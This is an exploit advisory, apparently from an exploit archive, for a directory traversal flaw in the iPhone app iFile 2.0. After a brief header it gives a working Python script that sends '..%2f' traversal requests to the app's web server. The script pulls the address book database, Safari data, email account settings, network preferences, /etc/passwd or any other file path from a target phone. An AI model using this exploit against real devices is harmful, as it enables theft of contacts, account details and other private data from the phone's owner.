iPhone iFile 2.0 Directory Traversal

`----------------------------------------------------------------  
Software : iPhone iFile 2.0  
Type of vunlnerability : Directory Traversal  
Tested On : iPhone 4 (IOS 4.0.1)  
Risk of use : High  
----------------------------------------------------------------  
Program Developer : http://ax.itunes.apple.com/app/id307458094?mt=8  
----------------------------------------------------------------  
Discovered by : Khashayar Fereidani  
Team Website : Http://IRCRASH.COM  
Team Members : Khashayar Fereidani - Sina YazdanMehr - Arash Allebrahim  
English Forums : Http://IRCRASH.COM/forums/  
Email : irancrash [ a t ] gmail [ d o t ] com  
Facebook : http://facebook.com/fereidani  
----------------------------------------------------------------  
  
Exploit:  
#!/usr/bin/python  
import urllib2  
def urlread(url,file):  
url = url+"/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f"+file  
u = urllib2.urlopen(url)  
localFile = open('result.html', 'w')  
localFile.write(u.read())  
localFile.close()  
print "file saved as result.html\nIRCRASH.COM 2011"  
print "----------------------------------------\n- iPhone iFile 2.0 DT -\n- Discovered by : Khashayar Fereidani -\n- http://ircrash.com/ -\n----------------------------------------"  
url = raw_input("Enter Address ( Ex. : http://192.168.1.101:8080 ):")  
f = ["","/private/var/mobile/Library/AddressBook/AddressBook.sqlitedb","/private/var/mobile/Library/Safari","/private/var/mobile/Library/Preferences/com.apple.accountsettings.plist","/private/var/mobile/Library/Preferences/com.apple.conference.plist","/etc/passwd"]  
print f[1]  
id = int(raw_input("1 : Phone Book\n2 : Safari Fav\n3 : Users Email Info\n4 : Network Informations\n5 : Passwd File\n6 : Manual File Selection\n Enter ID:"))  
if not('http:' in url):  
url='http://'+url  
if ((id>0) and (id<6)):  
file=f[id]  
urlread(url,file)  
if (id==6):  
file=raw_input("Enter Local File Address : ")  
urlread(url,file)  
  
`